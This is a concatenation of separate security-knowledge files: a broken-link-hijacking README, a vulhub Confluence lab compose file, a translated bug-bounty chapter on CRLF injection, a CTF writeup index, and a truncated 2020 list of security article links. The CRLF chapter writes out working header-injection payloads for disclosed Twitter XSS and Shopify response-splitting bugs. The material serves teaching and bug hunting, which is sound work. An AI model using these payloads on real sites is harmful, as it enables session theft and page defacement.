# Broken Link Hijacking ## Introduction Broken Link Hijacking exists whenever a target links to an expired domain or page ## How to find 1. Manually find external links on the target site (For example, check some links to social media accounts) 2. Try using tools to find broken link, for example using tools that listed in this readme ## Tools - [broken-link-checker](https://github.com/stevenvachon/broken-link-checker) - [Check My Links](https://chrome.google.com/webstore/detail/check-my-links/ojkcdipcgfaekbeaelaapakgnjflfglf/related) ## References - [Broken Link Hijacking - How expired links can be exploited.](https://edoverflow.com/2017/broken-link-hijacking/) - [How I was able to takeover the company’s LinkedIn Page](https://medium.com/@bathinivijaysimhareddy/how-i-takeover-the-companys-linkedin-page-790c9ed2b04d) - [Hackerone #1466889](https://hackerone.com/reports/1466889)
sec-knowleage
version: '2' services: web: image: vulhub/confluence:7.4.10 ports: - "8090:8090" depends_on: - db db: image: postgres:12.8-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
sec-knowleage
# 七、CRLF 注入 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) CRLF 注入是一类漏洞,在用户设法向应用插入 CRLF 时出现。在多种互联网协议中,包括 HTML,CRLF 字符表示了行的末尾,通常表示为`\r\n`,编码后是`%0D%0A`。在和 HTTP 请求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括 HTTP 请求走私和 HTTP 响应分割。 对 HTTP 请求走私而言,它通常在 HTTP 请求传给服务器,服务器处理它并传给另一个服务器时发生,例如代理或者防火墙。这一类型的漏洞可以导致: + 缓存污染,它是一种场景,攻击者可以修改缓冲中的条目,并托管恶意页面(即包含 JavaScript)而不是合理的页面。 + 防火墙绕过,它是一种场景,请求被构造,用于避免安全检查,通常涉及 CRLF 和过大的请求正文。 + 请求劫持:它是一种场景,攻击者恶意盗取 HTTPOnly 的 Cookie,以及 HTTP 验证信息。这类似于 XSS,但是不需要攻击者和客户端之间的交互。 现在,虽然这些漏洞是存在的,它们难以实现。我在这里引用了它们,所以你对如何实现请求走私有了更好的了解。 而对于 HTTP 响应分割来说,攻击者可以设置任意的响应头,控制响应正文,或者完全分割响应来提供两个响应而不是一个,它在示例 #2 (Shopify 响应分割)中演示(如果你需要 HTTP 请求和响应头的备忘录,请回到“背景”一章)。 ## 1\. Twitter HTTP 响应分割 难度:高 URL:`https://twitter.com/i/safety/report_story` 报告链接:`https://hackerone.com/reports/52042` 报告日期:2015.4.21 奖金:$3500 描述: 2015 年 4 月,有报告称,Twitter 存在一个漏洞,允许攻击者通过将信息添加到发往 Twitter 的请求,设置任意 Cookie。 本质上,在生成上面 URL 的请求之后(一个 Twitter 的遗留功能,允许人们报告广告),Twitter 会为参数`reported_tweet_id`返回 Cookie。但是,根据报告,Twitter 的验证存在缺陷,它用于确认推文是否是数字形式。 虽然 Twitter 验证了换行符`0x0a`不能被提交时,验证机制可以通过将字符编码为 UTF-8 来绕过。这么做之后,Twitter 会将字符转换会原始的 Unicode,从而避免了过滤。这是所提供的示例: ``` %E5%98%8A => U+560A => 0A ``` 这非常重要,因为换行符在服务器上被解释为这样的东西,创建新的一行,服务器读取并执行它,这里是用于添加新的 Cookie。 现在,当 CRLF 攻击允许 XSS 攻击的时候(请见 XSS 一章),它们还会更加危险。这种情况下,由于 Twitter 的过滤器被绕过了,包含 XSS 攻击的新的响应可能返回给用户,这里是 URL: ``` https://twitter.com/login?redirect_after_login=https://twitter.com:21/%E5%98%8A %E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D %E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE ``` 要注意`%E5%E98%8A`布满了这个 URL。如果我们使用了这些字符,并且实际添加了换行符,这个就是协议头的样子: ``` https://twitter.com/login?redirect_after_login=https://twitter.com:21/ content-type:text/html location:%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE ``` 你可以看到,换行符允许了创建新的协议头,并和可执行的 JavaScript 一起返回:`svg/onload=alert(innerHTML)`。使用这个代码,恶意用户就能够盗取任何无防备的受害者的 Twitter 会话信息。 > 重要结论 > 好的攻击是观察与技巧的组合这里,报告者`@filedescriptor`了解之前的 Firefox 编码漏洞,它错误处理了编码。对这个知识的了解就可以用于测试 Twitter 上相似的编码来插入换行。 > 当你寻找漏洞时,始终记住要解放思想,并提交编码后的值来观察站点如何处理输入。 ## 2\. Shopify 响应分割 难度:中 URL:`v.shopify.com/last_shop?x.myshopify.com` 报告链接:`https://hackerone.com/reports/106427` 报告日期:2015.12.22 奖金:$500 描述: Shopify 包含了一些隐藏功能,会在你的浏览器上设置 Cookie,它指向你所登录的最后一个商店。它通过终端`/last_shop?SITENAME.shopify.com`来实现。 在 2015 年 12 月,有人发现,Shopify 不验证在调用中传入的`shop`参数。所以,使用 Burp Suite,白帽子就能够使用`%0d%0a`来修改请求,并生成协议头返回给用户。这里是截图: ![](img/7-2-1.jpg) 这里是恶意代码: ``` %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20te\ xt/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html> ``` 这里,`%20`表示空格,`%0d%0a`是 CRLF。所以浏览器收到了两个协议头,并渲染了第二个,它能够导致很多漏洞,包括 XSS。 > 重要结论 > 一定要寻找这样的机会,其中站点接受你的输入,并且将其用于返回协议头的一部分。这里,Shopify 使用`last_shop`值创建了 Cookie,它实际上可悲用户克隆的 URL 参数污染。这是一个不错的信号,它可能存在 CRLF 注入漏洞。 ## 总结 良好的攻击是观察和技巧的结合。了解如何使用编码字符串来发现漏洞是一个不错的技巧。`%0D%0A`可以用于测试服务器,以及判断他们是否存在 CRLF 漏洞。如果存在,进一步尝试使用 XSS 注入来组合盖漏洞(请见第七节)。 另一方面,如果服务器不响应`%0D%0A`,要考虑如何再次编码这些字符,并测试服务器,以便观察它是否解码双重编码的字符,就像`@filedescriptor`所做的那样。 一定要寻找这样的机会,其中站点使用提交的值来返回一些类型的协议头,例如创建 Cookie。
sec-knowleage
# Writeup InsomniHack Teaser CTF 2016 Team: cr019283, c7f.m0d3, msm, Rev, other019, nazywam, Shalom ### Table of contents * [Fridginator 10K (Crypto/Web) 200](crypto_200_fridginator) * [Toasted (Pwn) 250](pwn_250_toasted) * [Smartcat (Web) 100](web_100_smartcat) * [Greenbox (Web) 300](web_300_greenbox) * [Bring the noise (Crypto) 200](crypto_200_bring_the_noise)
sec-knowleage
#2020移动安全事记 时间线 - 0x00 - 1.1 [Rancor组织东南亚攻击活动分析](https://www.freebuf.com/articles/network/223258.html) - 1.2 [这款流行聊天APP,居然是一个国家的监听工具](https://www.freebuf.com/articles/terminal/223811.html) - 1.2 [机器学习之KNN检测恶意流量](https://www.freebuf.com/articles/web/223056.html) - 1.2 [在Tesla Model S上实现Wi-Fi协议栈漏洞的利用](http://keenlab.tencent.com/2020/01/02/exploiting-wifi-stack-on-tesla-model-s/) - 1.3 [游荡于中巴两国的魅影——响尾蛇(SideWinder)](https://www.anquanke.com/post/id/196330) - 1.3 [一次对浏览器解析和XSS攻击的深度探究](https://www.freebuf.com/articles/web/222849.html) - 1.3 [APT29分析报告](https://www.freebuf.com/articles/network/222558.html) - 1.5 [2020年网络安全行业趋势预测](https://www.freebuf.com/articles/network/223431.html) - 1.5 [奇幻熊(APT28) 样本分析](https://www.freebuf.com/articles/network/223653.html) - 1.6 [“暴富谎言”网络博彩](https://www.anquanke.com/post/id/196430) - 1.7 [VPN 警告:REvil 勒索软件盯上未打补丁的 Pulse Secure VPN 服务器](http://hackernews.cc/archives/29142) - 1.7 [深度学习之Keras检测恶意流量](https://www.freebuf.com/articles/web/222902.html) - 1.7 [直击特朗普轻易猎杀伊朗“军神”苏莱曼尼的幕后真相](https://www.anquanke.com/post/id/196504) - 1.7 [挖洞经验 | 用空字节(Null Byte)触发内存泄露的4万美金漏洞](https://www.freebuf.com/vuls/224088.html) - 1.7 [跳出单点思维,从上帝视角感知邮件安全态势](https://www.anquanke.com/post/id/196531) - 1.7 [致命APP,牟利7亿,10人殒命](https://www.freebuf.com/articles/network/223383.html) - 1.7 [3 Google Play Store Apps Exploit Android Zero-Day Used by NSO Group](https://thehackernews.com/2020/01/android-zero-day-malware-apps.html) - 1.8 [针对WordPress的攻击调查](https://www.freebuf.com/articles/network/224520.html) - 1.8 [Google Play恶意软件指向SideWinder组织](https://www.freebuf.com/articles/terminal/224707.html) - 1.9 [2019年移动安全总结](https://www.anquanke.com/post/id/196979) - 1.9 [我花200块买了本弱智小说,据说能日入过万](http://www.ijiandao.com/2b/baijia/344340.html) - 1.10 [2019年网络攻击分析报告](https://www.freebuf.com/articles/network/224409.html) - 1.10 [TikTok安全性分析](https://www.anquanke.com/post/id/197004) - 1.10 [MITRE发布首个针对工业控制系统(ICS)的ATT&CK知识库](https://www.freebuf.com/news/224982.html) - 1.11 [电诈团伙的千里眼:伪装成银监会移动端的恶意APP分析](https://www.freebuf.com/articles/terminal/223585.html) - 1.11 [揭秘大数据时代秒级查询响应引擎的架构设计](http://www.ijiandao.com/2b/baijia/344621.html) - 1.11 [阿里资深Leader:组建技术团队的一些思考](http://www.ijiandao.com/2b/baijia/344581.html) - 1.11 [Snake勒索软件正在威胁全球的企业网络](https://www.freebuf.com/news/225062.html) - 1.11 [机器学习与恶意代码检测](https://www.freebuf.com/articles/others-articles/224051.html) - 1.12 [APT32样本分析](https://www.freebuf.com/articles/network/223654.html) - 1.12 [智能门铃背后的安全风险](https://www.freebuf.com/articles/system/223468.html) - 1.13 [揭秘Agent Tesla间谍木马攻击活动](https://www.freebuf.com/articles/terminal/223968.html) - 1.13 [美政府为低收入家庭提供手机被植入恶意程序 且无法清除](http://hackernews.cc/archives/29262) - 1.13 [羊毛党跑去京东摸了年终奖](http://www.ijiandao.com/2b/baijia/345029.html) - 1.14 [Tishna:一款功能强大的自动化Web应用渗透测试框架](https://www.freebuf.com/articles/web/224920.html) - 1.14 [全勤矿工systemdMiner最新变种利用暗网代理下载恶意模块](https://www.secpulse.com/archives/121984.html) - 1.14 [China-linked APT40 group hides behind 13 front companies](https://securityaffairs.co/wordpress/96364/apt/china-linked-apt40-front-companies.html) - 1.15 [AppleJeus行动分析](https://www.freebuf.com/articles/network/225140.html) - 1.15 [“正版”监控软件被黑产利用,输出把关不严或成另一个TeamViewer?](https://www.anquanke.com/post/id/197266) - 1.16 [对美国联邦存储图书馆网站被攻击挂黑页事件的简要技术分析](https://www.freebuf.com/articles/neopoints/224824.html) - 1.16 [“正版”监控软件被黑产利用,输出把关不严或成另一个TeamViewer?](https://www.freebuf.com/articles/system/225335.html) - 1.16 [“折纸”行动:针对南亚多国军政机构的网络攻击](https://www.secpulse.com/archives/122090.html) - 1.16 [洋葱式信息安全观察-幸存者偏差与威胁情报的攻防演练应用](https://www.sec-un.org/%e6%b4%8b%e8%91%b1%e5%bc%8f%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e8%a7%82%e5%af%9f-%e5%b9%b8%e5%ad%98%e8%80%85%e5%81%8f%e5%b7%ae%e4%b8%8e%e5%a8%81%e8%83%81%e6%83%85%e6%8a%a5%e7%9a%84%e6%94%bb%e9%98%b2/) - 1.16 [dSploit APK Download – Hacking & Security Toolkit For Android](https://www.darknet.org.uk/2020/01/dsploit-apk-download-hacking-security-toolkit-for-android/?utm_source=feedly&utm_medium=webfeeds) - 1.16 [发送攻击性短信的Faketoken木马](https://www.kaspersky.com.cn/blog/faketoken-trojan-sends-offensive-sms/10623/) - 1.16 [不用AI搞仙人跳的黑产没有梦想](http://www.ijiandao.com/2b/baijia/345990.html) - 1.17 [极验2019交互安全行业研究报告](https://www.freebuf.com/articles/paper/225621.html) - 1.18 [僵尸网络中区块链的利用方法分析](https://www.freebuf.com/articles/network/224747.html) - 1.18 [“软件供应链污染”新案例:FlashFXP破解版遭投毒攻击](https://www.freebuf.com/articles/system/225225.html) - 1.18 [针对在有效数字证书内植入远控木马病毒分析报告](https://www.freebuf.com/articles/paper/224147.html) - 1.19 [SSRF漏洞利用与getshell实战](https://www.anquanke.com/post/id/197431) - 1.19 [黑客泄露 51 万服务器路由器的 Telnet 密码](https://www.solidot.org/story?sid=63305) - 1.20 [阿拉伯木马成功汉化,多款APP惨遭模仿用于攻击](https://www.freebuf.com/articles/terminal/224438.html) - 1.20 [俄罗斯组织Gamaredon近期活动分析](https://www.anquanke.com/post/id/197300) - 1.20 [CSS-T | Mysql Client 任意文件读取攻击链拓展](https://www.anquanke.com/post/id/197518) - 1.20 [Opera 被控通过 Android 应用提供高利贷](https://www.solidot.org/story?sid=63310) - 0x01 - 2.17 [Android 恶意软件 xHelper 的删除方法](http://hackernews.cc/archives/29472) - 2.17 [烈火烧不尽的“恶性毒草”—— 摩诃草APT组织的攻击活动](https://www.anquanke.com/post/id/198963) - 2.17 [极客 | 从损坏的手机中获取数据](https://www.freebuf.com/geek/226538.html) - 2.18 [Android UPX脱壳](https://www.anquanke.com/post/id/197643) - 2.18 [2019年度勒索病毒专题报告](https://www.freebuf.com/articles/paper/226835.html) - 2.19 [实战审计某BC站源码,并拿下权限](https://www.secpulse.com/archives/122876.html) - 2.19 [硬蹭热点?黑产控制药物研究机构邮箱搞钓鱼](https://www.freebuf.com/articles/system/226746.html) - 2.20 [自动化漏洞挖掘之初步构想](https://www.anquanke.com/post/id/198292) - 2.21 [比特币市值波动刺激挖矿木马活跃,腾讯安全发布2019年度挖矿木马报告](https://www.freebuf.com/articles/paper/227657.html) - 2.21 [xHunt利用科威特政府网站攻击分析](https://www.freebuf.com/articles/network/226630.html) - 2.23 [Google Play恶意软件分析](https://www.freebuf.com/articles/network/226808.html) - 2.23 [如何编写一个Android inline hook框架](https://www.freebuf.com/articles/others-articles/224917.html) - 2.24 [渗透某非法约X软件](https://www.secpulse.com/archives/123503.html) - 2.24 [针对航空电子系统的攻击](https://www.anquanke.com/post/id/198063) - 2.25 [入侵分析钻石模型学习笔记](https://www.anquanke.com/post/id/199564) - 2.25 [Dufflebag:一款针对亚马逊EBS弹性块存储服务的安全检测工具](https://www.freebuf.com/sectool/226681.html) - 2.26 [KBOT研究报告](https://www.freebuf.com/articles/network/226952.html) - 2.26 [APT 分析及 TTPs 提取](https://paper.seebug.org/1132/) - 2.27 [Obfuscapk:一款针对Android应用程序的黑盒混淆工具](https://www.freebuf.com/sectool/226391.html) - 2.28 [“Higaisa(黑格莎)”组织近期攻击活动报告](http://hackernews.cc/archives/29572) - 2.28 [FBI透露,近六年里支付给勒索攻击者的赎金超过1.4亿美金](https://www.freebuf.com/news/228665.html) - 2.28 [2019年Android恶意软件专题报告:未来移动安全呈现四大趋势](https://www.anquanke.com/post/id/199839) - 2.28 [“冠状病毒”引发的移动安全事件](https://www.freebuf.com/articles/terminal/227337.html) - 2.28 [手把手教你如何将学校饭卡复制到小米手环NFC版上](https://www.freebuf.com/geek/227717.html) - 2.29 [自变异挖矿木马Axlist分析报告](https://www.secpulse.com/archives/124178.html) - 0x02 - 3.1 [扩大Android攻击面:React Native Android应用程序分析](https://www.freebuf.com/articles/terminal/226947.html) - 3.2 [冠状病毒热点引发持续攻击事件](https://www.anquanke.com/post/id/199895) - 3.2 [全球高级持续性威胁(APT)2019年报告](https://www.freebuf.com/articles/system/227159.html) - 3.2 [下一只沉默的羔羊是谁?——诺崇狮APT组织揭露](https://www.anquanke.com/post/id/199984) - 3.3 [美国中央情报局CIA攻击组织(APT-C-39)对中国关键领域长达十一年的网络渗透攻击](https://www.anquanke.com/post/id/200145) - 3.3 [先斩后奏:一个靠入侵社交账号打商业广告的黑客组织](https://www.freebuf.com/articles/system/227749.html) - 3.4 [一些相见恨晚的BurpSuite插件推荐](https://www.secpulse.com/archives/124527.html) - 3.4 [从头开发一个BurpSuite数据收集插件](https://www.secpulse.com/archives/124593.html) - 3.4 [新型攻击方法SurferingAttack以超声波入侵手机](https://www.freebuf.com/news/229043.html) - 3.4 [Qakbot恶意行为检测](https://www.freebuf.com/articles/network/228047.html) - 3.4 [QQ邮箱从Self-XSS到钓鱼攻击分析(多漏洞利用攻击链)](https://www.freebuf.com/vuls/228042.html) - 3.5 [警惕 Linux 挖矿木马 SystemMiner 通过 SSH 爆破入侵攻击](http://hackernews.cc/archives/29619) - 3.5 [无密码登录他人QQ空间可查看加密相册](https://www.secpulse.com/archives/124681.html) - 3.5 [在IPA中重签名iOS应用程序](https://www.freebuf.com/articles/system/227306.html) - 3.5 [Anubis新的网络钓鱼活动](https://www.freebuf.com/articles/terminal/228102.html) - 3.6 [攻击者巧借时机,用有关过期安全证书的虚假警报传播恶意软件](https://www.freebuf.com/news/229502.html) - 3.6 [2 in 5 Android devices found vulnerable worldwide – That’s over a billion](https://www.hackread.com/2-in-5-android-devices-found-vulnerable-worldwide/) - 3.6 [适用于IDA Pro 7的官方VirusTotal插件](https://www.freebuf.com/articles/network/227977.html) - 3.6 [基于 ATT&CK 的 APT 威胁跟踪和狩猎](https://www.secpulse.com/archives/124757.html) - 3.6 [移花接木病毒来袭,赌博软件伺机而动](https://www.freebuf.com/articles/network/228703.html) - 3.6 [警惕“驱动人生”无文件挖矿再次更新](https://www.freebuf.com/articles/terminal/228521.html) - 3.6 [挖洞经验 | 登录注册表单渗透](https://www.freebuf.com/articles/web/228146.html) - 3.7 [下一只沉默的羔羊是谁?诺崇狮APT组织揭露](https://www.freebuf.com/articles/network/228800.html) - 3.8 [3月8日每日安全热点 - 对Emotet木马的深入分析](https://www.anquanke.com/post/id/200400) - 3.8 [2019全球高级持续性威胁(APT)研究报告](https://www.freebuf.com/articles/paper/229374.html) - 3.8 [学习平台“刷分”工具隐藏勒索病毒](https://www.freebuf.com/news/227988.html) - 3.9 [全球高级持续性威胁(APT) 2019年上半年研究报告](https://paper.seebug.org/1140/) - 3.9 [当粉丝遇到裸聊诈骗,我们花了1天时间控制了诈骗犯的电脑](https://www.secpulse.com/archives/124981.html) - 3.9 [刺向巴勒斯坦的致命毒针——双尾蝎 APT 组织的攻击活动分析与总结](https://www.anquanke.com/post/id/200429) - 3.9 [如何使用Frida绕过Android网络安全配置](https://www.freebuf.com/vuls/227697.html) - 3.9 [利用IDA Python进行二进制代码审计](http://www.gandalf.site/2020/03/ida-python.html) - 3.9 [2345 旗下下载站被发现传播木马](https://www.solidot.org/story?sid=63757) - 3.10 [2019年全国网络安全态势分析报告](https://www.freebuf.com/articles/network/229025.html) - 3.11 [一个错综复杂的网络钓鱼故事:使用聊天机器人来“帮助”受害者](https://www.freebuf.com/news/229884.html) - 3.11 [警惕疫情次生伤害,黑产这波「疫情流量」将决定很多行业的未来](https://www.freebuf.com/articles/network/229952.html) - 3.11 [​ 恶意流量分析实践系列一](https://www.anquanke.com/post/id/200312) - 3.11 [基于机器学习检测僵尸网络中的域名生成算法](https://www.anquanke.com/post/id/198557) - 3.11 [官方病毒?伊朗新冠防控APP遭谷歌商店“零证据”下架](https://www.anquanke.com/post/id/200567) - 3.11 [微软宣布成功破坏已感染了全球900万台PC的Necurs僵尸网络](https://www.freebuf.com/news/229994.html) - 3.12 [Cobalt Strike 4.0 手册——献给渗透测试人员的先进威胁战术](https://paper.seebug.org/1143/) - 3.12 [一个糟糕的消息,Paradise勒索病毒又上新了](https://www.anquanke.com/post/id/200656) - 3.12 [刺向巴勒斯坦的致命毒针——双尾蝎 APT 组织的攻击活动分析与总结](https://www.secpulse.com/archives/125292.html) - 3.12 [New Android Malware Strain Sneaks Cookies from Facebook](https://www.darkreading.com/new-android-malware-strain-sneaks-cookies-from-facebook/d/d-id/1337304) - 3.13 [Cookiethief, the Android malware that hijacks Facebook accounts](https://securityaffairs.co/wordpress/99569/malware/cookiethief-android-malware.html) - 3.13 [从OilRig APT攻击分析恶意DNS流量阻断在企业安全建设中的必要性](https://www.freebuf.com/articles/others-articles/228700.html) - 3.13 [基于USB的攻击向量总结](https://www.freebuf.com/articles/terminal/229042.html) - 3.13 [挖洞经验 | 静态分析APK文件发现APP应用硬编码密码泄露](https://www.freebuf.com/vuls/228474.html) - 3.13 [​ 恶意流量分析实践系列二](https://www.anquanke.com/post/id/200334) - 3.14 [网络版“黑吃黑”?神秘黑客组织每天分发受感染的黑客工具](https://www.freebuf.com/news/230004.html) - 3.14 [2019年移动恶意软件总结报告](https://www.freebuf.com/articles/terminal/228295.html) - 3.14 [内网横向移动技巧总结](https://www.freebuf.com/articles/system/229200.html) - 3.15 [JudasDNS:域名服务器DNS投毒测试工具](https://www.freebuf.com/articles/network/227984.html) - 3.15 [Roaming Mantis恶意活动分析报告](https://www.freebuf.com/articles/network/228769.html) - 3.16 [多个Moxa AWK-3131A(工控无线网络设备)漏洞可导致任意代码执行](https://www.freebuf.com/vuls/228434.html) - 3.17 [Firefox漏洞利用研究(二)](https://www.freebuf.com/articles/network/227130.html) - 3.17 [MacOS恶意软件Shlayer分析](https://www.freebuf.com/articles/network/227482.html) - 3.17 [流氓应用隐私收割利器:苹果设备剪贴板泄漏GPS信息隐患分析](https://www.freebuf.com/articles/terminal/228485.html) - 3.17 [境外黑产团伙也复工,针对国内相关单位发起钓鱼攻击](https://www.freebuf.com/articles/system/229983.html) - 3.17 [卡巴斯基曝光两款 Android 恶意软件 可控制用户 Facebook 账户](http://hackernews.cc/archives/29694) - 3.18 [检测针对手机面部识别的演示攻击(一)](https://www.anquanke.com/post/id/200336) - 3.18 [工控安全 | 西门子S7-300攻击分析](https://www.freebuf.com/articles/ics-articles/228770.html) - 3.19 [巧用匿名函数绕过D盾](https://www.freebuf.com/articles/web/229649.html) - 3.19 [Clicker木马新家族——Haken木马](https://www.anquanke.com/post/id/200955) - 3.20 [粉丝被杀猪盘骗了十五万,求大家别再上当](https://www.secpulse.com/archives/126055.html) - 3.20 [Android OLLVM反混淆实战](https://www.anquanke.com/post/id/200744) - 3.21 [DnsFookup:一款功能强大的DNS重绑定工具](https://www.freebuf.com/articles/network/229255.html) - 3.21 [2020年应该引起关注的8种移动安全威胁](https://www.freebuf.com/articles/terminal/228900.html) - 3.22 [Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具](https://www.freebuf.com/sectool/229249.html) - 3.23 [Adobe Coldfusion任意文件读取和任意文件包含漏洞](https://www.secpulse.com/archives/126173.html) - 3.23 [Icnanker, 一个使用了SHC技术的木马下载器](https://blog.netlab.360.com/icnanker-trojan-downloader/) - 3.23 [Kimsuky APT组织利用疫情话题针对南韩进行双平台的攻击活动的分析](https://www.anquanke.com/post/id/201504) - 3.23 [Windows凭证的伪造和窃取技术总结](https://www.freebuf.com/articles/system/229333.html) - 3.23 [微信远程攻击面简单的研究与分析](https://paper.seebug.org/1152/) - 3.23 [手机APP客户端安全性测试相关](https://www.freebuf.com/articles/network/229590.html) - 3.23 [任意文件读取漏洞的曲折历程](https://www.freebuf.com/articles/web/229648.html) - 3.23 [俄罗斯联邦安全局被爆雇佣外包商启动物联网 DDoS 攻击项目 Fronton](http://hackernews.cc/archives/29714) - 3.24 [Tekya Malware Threatens Millions of Android Users via Google Play](https://threatpost.com/tekya-malware-android-google-play/154064/) - 3.24 [Android malware caught infecting Play Store apps for kids](https://www.hackread.com/android-malware-infecting-play-store-kids-apps/) - 3.24 [攻击者利用通达OA漏洞释放勒索病毒,用户数据遭到加密](https://www.freebuf.com/vuls/230909.html) - 3.24 [基于语义分析和神经网络的口令猜测](https://www.secpulse.com/archives/126325.html) - 3.24 [粉丝遭遇新型杀猪盘诈骗,我们黑进了后台决定一探究竟](https://www.secpulse.com/archives/126346.html) - 3.24 [微软情报团队看勒索:从自动化到手动](https://www.freebuf.com/articles/system/231316.html) - 3.24 [MSBuild安全分析](https://www.freebuf.com/articles/system/227954.html) - 3.24 [NetWire木马控制者开始投放nCoV-19疫情诱饵文档](http://blog.nsfocus.net/netwire-ncov-19-0318/) - 3.25 [APT37复盘分析报告(part1):投递与执行](http://blog.nsfocus.net/apt37-part1-0325/) - 3.25 [APT37 复盘分析报告(part2):木马与工具](http://blog.nsfocus.net/apt37-part2-0325/) - 3.25 [新的APT组织Wild Pressure正在瞄准中东的工业部门](https://www.freebuf.com/news/231463.html) - 3.25 [Android应用程序篡改检测研究(含验证代码)](https://www.freebuf.com/articles/terminal/229094.html) - 3.25 [Mimikatz提取Windows用户凭证分析](https://www.freebuf.com/articles/system/229225.html) - 3.25 [薅“疫情公益”羊毛,黑产恶意爬取各大出版社电子书上万册](https://www.freebuf.com/news/229579.html) - 3.25 [Mobile Malware Bypasses Banks' 2-Factor Authentication: Report](https://www.bankinfosecurity.com/mobile-malware-bypasses-banks-2-factor-authentication-report-a-14009) - 3.25 [欺骗自动监控摄像头:利用对抗性图像块攻击人体检测](https://www.anquanke.com/post/id/200746) - 3.25 [Mouse Framework:一款针对iOS和macOS的后渗透漏洞利用框架](https://www.freebuf.com/articles/system/228785.html) - 3.25 [Android Malware Takes Payment for ‘Coronavirus Finder’ Map](https://www.infosecurity-magazine.com/news/android-malware-payment/) - 3.25 [Google Play 仍然存在恶意应用问题](https://www.solidot.org/story?sid=63928) - 3.26 [新冠病毒笼罩下的全球疫情相关网络攻击分析报告](https://www.anquanke.com/post/id/201778) - 3.26 [首次出现利用“新型冠状病毒肺炎”的勒索病毒和短信蠕虫](https://www.anquanke.com/post/id/201598) - 3.27 [数千个以COVID-19为诱饵的黑客站点威胁全球](https://www.anquanke.com/post/id/201723) - 3.27 [XCTR-Hacking-Tools:一款多合一功能的信息收集工具](https://www.freebuf.com/sectool/229270.html) - 3.27 [Android apps are snooping on your installed software](https://nakedsecurity.sophos.com/2020/03/27/android-apps-are-snooping-on-your-installed-software/) - 3.27 [LightSpy spyware targets iPhone users in Hong Kong](https://www.kaspersky.com/blog/lightspy-watering-hole-attack/34501/) - 3.27 [Chinese Hacker Group APT41 Uses Recent Exploits To Target Companies Worldwide](https://www.informationsecuritybuzz.com/expert-comments/chinese-hacker-group-apt41-uses-recent-exploits-to-target-companies-worldwide/) - 3.28 [Hackers sending malware infected USBs with Best Buy Gift Cards](https://www.hackread.com/hackers-send-malware-infected-usbs-best-buy-gift-cards/) - 3.29 [“中毒新闻行动”——黑客利用后门对香港iOS用户发起水坑攻击](https://www.freebuf.com/news/231737.html) - 3.30 [伏影实验室再次发现黑客利用新冠疫情实施钓鱼邮件攻击](http://blog.nsfocus.net/fuyinglab-0330/) - 3.30 [Android OLLVM反混淆实战:算法还原](https://www.anquanke.com/post/id/201459) - 3.30 [收到包含泰迪熊和USB的礼物包裹?来自FIN7 APT组织的“阴谋”](https://www.freebuf.com/news/231861.html) - 3.30 [WiFi 安全与攻击案例分析](https://paper.seebug.org/1159/) - 3.30 [雷克萨斯汽车安全研究综述报告](https://paper.seebug.org/1160/) - 3.30 [Antsword流量分析与还原](https://www.freebuf.com/sectool/229627.html) - 3.31 [对一次钓鱼事件的分析](https://www.freebuf.com/articles/network/230406.html) - 3.31 [Goby——新一代安全工具](https://www.freebuf.com/sectool/232007.html) - 3.31 [黑客劫持微软公司的数个 YouTube 帐户 以传播加密庞氏骗局](http://hackernews.cc/archives/29821) - 0x03 - 4.1 [AFL源码阅读笔记](https://www.anquanke.com/post/id/201760) - 4.1 [TrickBot木马将获取交易身份验证码的应用推向德国银行客户](https://www.anquanke.com/post/id/202123) - 4.1 [NetSupport Manager RAT钓鱼攻击分析](https://www.freebuf.com/articles/network/228898.html) - 4.1 [远控免杀专题(5)-Veil免杀(VT免杀率23/71)](https://www.secpulse.com/archives/127186.html) - 4.1 [Rocke Group团伙新挖矿变种AliyunMiner分析](https://www.secpulse.com/archives/127162.html) - 4.1 [针对香港用户的LightSpy水坑攻击](https://www.freebuf.com/articles/network/231855.html) - 4.1 [为什么安全类AI模型准确性普遍虚高](https://www.anquanke.com/post/id/201282) - 4.1 [干货 | Windows取证分析基础知识大全,赶快收藏!](https://www.secpulse.com/archives/127088.html) - 4.1 [Zoom 客户端爆出安全漏洞 可向攻击者泄露 Windows 登陆凭据](http://hackernews.cc/archives/29841) - 4.2 [基于稀疏表示的物联网边缘僵尸网络攻击检测](https://www.anquanke.com/post/id/200877) - 4.2 [警惕:Vollgar僵尸网络每天成功感染近3000台MSSQL服务器](https://www.freebuf.com/news/232295.html) - 4.3 [一种工控蜜罐识别与反识别技术研究与应用实践](https://www.freebuf.com/articles/ics-articles/230402.html) - 4.3 [浅谈威胁情报应用场景](https://www.anquanke.com/post/id/202426) - 4.3 [Syborg:一款带有断路躲避系统的DNS子域名递归枚举工具](https://www.freebuf.com/sectool/227851.html) - 4.3 [云视频会议软件Zoom连环漏洞陷信任危机](https://www.anquanke.com/post/id/202436) - 4.4 [挖洞经验分享:关于IDOR的几个奇怪案例分析](https://www.freebuf.com/vuls/228918.html) - 4.4 [Android Cerberus恶意样本分析](https://www.freebuf.com/articles/terminal/230628.html) - 4.4 [12k+ Android apps contain master passwords, secret access keys, secret commands](https://www.zdnet.com/article/12k-android-apps-contain-master-passwords-secret-access-keys-secret-commands/) - 4.5 [PrivescCheck:一款针对Windows系统的提权枚举脚本](https://www.freebuf.com/articles/system/229405.html) - 4.5 [利用COVID-19发起的网络攻击分析](https://www.freebuf.com/articles/network/230475.html) - 4.6 [中国驻外机构正遭受攻击!深信服VPN设备成境外国家级黑客突破口](https://www.anquanke.com/post/id/202526) - 4.6 [文件解压引发的Getshell](https://www.freebuf.com/articles/others-articles/229928.html) - 4.6 [黑客帝国?论美国Hacker的养成之路](https://www.freebuf.com/articles/neopoints/230985.html) - 4.7 [Fuzzowski:一款功能强大的网络协议模糊测试工具](https://www.freebuf.com/sectool/227869.html) - 4.7 [xHelper, the Unkillable Android malware that re-Installs after factory 